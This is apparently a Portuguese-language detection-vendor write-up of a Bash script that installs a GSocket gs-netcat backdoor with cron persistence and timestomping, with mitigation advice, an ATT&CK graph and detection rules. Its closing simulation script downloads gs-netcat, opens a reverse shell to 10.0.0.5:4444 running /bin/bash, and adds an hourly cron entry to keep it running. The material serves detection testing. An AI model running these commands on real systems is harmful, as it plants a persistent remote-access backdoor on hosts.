Backdoor GSocket Entregue por Script Bash
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um script Bash armado baixa e lança um cliente GSocket (gs-netcat) para estabelecer uma porta dos fundos em hosts Linux e macOS. Ele mantém a persistência por meio de cron jobs e alterações em .profile, enquanto salva um segredo compartilhado dentro de um arquivo de chave SSH falso. Para reduzir a visibilidade forense, o script utiliza métodos anti-forenses que alteram timestamps e ocultam evidências de modificação de arquivos. A porta dos fundos resultante comunica-se externamente através da rede de retransmissão GSocket para um IP remoto.
Investigação
O pesquisador detonou o script em um ambiente isolado e confirmou a recuperação do gs-netcat binário, criação de uma entrada de persistência baseada em cron e adulteração com arquivos de inicialização do usuário. Um arquivo ELF falso chamado id_rsa é solto no diretório .ssh , com o segredo compartilhado embutido no que parece ser uma chave SSH. Rotinas de redefinição de timestamp também foram identificadas, mostrando esforços deliberados para borrar cronogramas forenses. O script suporta múltiplos sistemas do tipo Unix ao detectar inicialmente o sistema operacional do host.
Mitigação
Os defensores devem bloquear o tráfego de saída para domínios e endereços IP de retransmissão conhecidos do GSocket e ficar atentos a entradas de cron não autorizadas ou mudanças suspeitas em .profile and .ssh caminhos. A lógica de detecção baseada em host deve sinalizar o uso do gs-netcat nome de arquivo, bem como comandos comumente usados para manipular timestamps. Controles de menor privilégio e monitoramento de integridade em arquivos de inicialização podem limitar ainda mais a capacidade da porta dos fundos de persistir despercebida.
Resposta
Se estes indicadores aparecerem, isole o host, adquira o script malicioso e os binários soltos, e inicie uma revisão forense completa. Remova o mecanismo de persistência de cron e todos os artefatos maliciosos, rotacione as chaves SSH afetadas e invalide quaisquer segredos compartilhados. Estenda a busca em todo o ambiente para encontrar indicadores correspondentes e atualize o conteúdo de detecção para capturar atividades semelhantes.
"graph TB %% Class definitions classDef technique fill:#c2e0ff classDef tool fill:#ffd9b3 classDef operator fill:#ffcc99 %% Technique nodes tech_initial_user_execution["<b>Técnica</b> – <b>T1204.004 Execução do Usuário</b>: Script Bash malicioso executado por um usuário."] class tech_initial_user_execution technique tech_persistence_cron["<b>Técnica</b> – <b>T1053.003 Tarefa Agendada Job Cron</b>: Job de cron horário mata e reinicia um binário gsu2011netcat disfarçado."] class tech_persistence_cron technique tech_boot_init["<b>Técnica</b> – <b>T1037 Scripts de Inicialização de Logon</b>: Injeção de comandos maliciosos no .profile do usuário para persistência."] class tech_boot_init technique tech_compromise_binary["<b>Técnica</b> – <b>T1554 Comprometimento do Binário de Software do Host</b>: gsu2011netcat copiado para ~/.ssh/putty e disfarçado como id_rsa."] class tech_compromise_binary technique tech_private_keys["<b>Técnica</b> – <b>T1552.004 Credenciais Inseguras Chaves Privadas</b>: Segredo compartilhado armazenado dentro de uma chave privada SSH falsa."] class tech_private_keys technique tech_timestomp["<b>Técnica</b> – <b>T1070.006 Timestomp</b>: Rastreamento e restauração de timestamp personalizada para ocultar modificações de arquivos."] class tech_timestomp technique tech_time_evasion["<b>Técnica</b> – <b>T1497.003 Evasão Sandbox de Virtualização Baseada em Tempo</b>: Manipulação de timestamp para evadir ambientes de análise."] class tech_time_evasion technique tech_protocol_tunneling["<b>Técnica</b> – <b>T1572 Tunelamento de Protocolo</b>: Tráfego de rede tunelado através de uma rede de retransmissão GSocket."] class tech_protocol_tunneling technique tech_proxy_multi["<b>Técnica</b> – <b>T1090 Proxy Multiu2011hop</b>: Tráfego encaminhado pelo CDN GSocket para proxy interno e externo."] class tech_proxy_multi technique tech_ssh_lateral["<b>Técnica</b> – <b>T1021.004 Serviços Remotos SSH</b> / <b>T1563.001 Seqüestro de SSH</b>: gsu2011netcat executado como uma chave SSH disfarçada para movimento lateral."] class tech_ssh_lateral technique %% Tool nodes tool_gsnetcat["<b>Ferramenta</b> – <b>Nome</b>: gsu2011netcat<br/><b>Descrição</b>: Variante do Netcat usada para comando e controle oculto."] class tool_gsnetcat tool tool_gsocket["<b>Ferramenta</b> – <b>Nome</b>: CDN GSocket<br/><b>Descrição</b>: Rede de retransmissão que fornece serviços de tunelamento e proxy."] class tool_gsocket tool %% Attack flow connections tech_initial_user_execution –>|habilita| tech_persistence_cron tech_persistence_cron –>|habilita| tech_boot_init tech_boot_init –>|habilita| tech_compromise_binary tech_compromise_binary –>|usa| tool_gsnetcat tech_compromise_binary –>|habilita| tech_private_keys tech_private_keys –>|suporta| tech_timestomp tech_timestomp –>|suporta| tech_time_evasion tech_time_evasion –>|habilita| tech_protocol_tunneling tech_protocol_tunneling –>|usa| tool_gsocket tool_gsocket –>|facilita| tech_proxy_multi tech_proxy_multi –>|habilita| tech_ssh_lateral tech_ssh_lateral –>|usa| tool_gsnetcat "
Fluxo de Ataque
Detecções
Arquivo Cron Foi Criado (via file_event)
Ver
Arquivo Oculto Foi Criado no Host Linux (via file_event)
Ver
Possível Manipulação de Strings Codificadas em Base64 (via cmdline)
Ver
IOCs (HashSha256) para detectar: Backdoor GSocket Entregue Através de Script Bash
Ver
Instalação de Backdoor GSocket via Script Bash com Persistência de Cron Job [Criação de Processo Linux]
Ver
Execução de Simulação
Pré-requisito: O Check de Pré-vôo de Telemetria & Linhas de Base deve ter sido aprovado.
-
Narrativa do Ataque & Comandos:
Um atacante com privilégios limitados obtém ogs-netcatbinário de um repositório público, coloca-o em/usr/local/bine o lança para abrir um shell reverso na porta 4444. Para manter o acesso, o atacante cria um cron job que reinicia o backdoor a cada hora. Os passos são executados de um shell comprometido no host alvo. -
Script de Teste de Regressão:
#!/usr/bin/env bash set -euo pipefail # 1. Baixar gs-netcat (simulado com um pequeno binário substituto) echo "[*] Baixando substituto gs-netcat ..." curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64 chmod +x /usr/local/bin/gs-netcat # 2. Iniciar gs-netcat em segundo plano (shell reverso para IP do atacante 10.0.0.5) echo "[*] Iniciando shell reverso gs-netcat ..." /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash & GSN_PID=$! # 3. Verificar se o processo está em execução sleep 2 ps -p "$GSN_PID" -o pid,cmd # 4. Criar um cron job que reinicia o gs-netcat no início de cada hora echo "[*] Adicionando persistência via cron ..." (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab - echo "[+] Simulação completa. Aguardando detecção." -
Comandos de Limpeza:
#!/usr/bin/env bash set -euo pipefail # Remover a entrada de cron adicionada acima echo "[*] Removendo job cron malicioso ..." crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab - # Matar qualquer processo gs-netcat em execução echo "[*] Matando processos gs-netcat ..." pkill -f "/usr/local/bin/gs-netcat" || true # Deletar o binário echo "[*] Deletando binário gs-netcat ..." rm -f /usr/local/bin/gs-netcat echo "[+] Limpeza finalizada."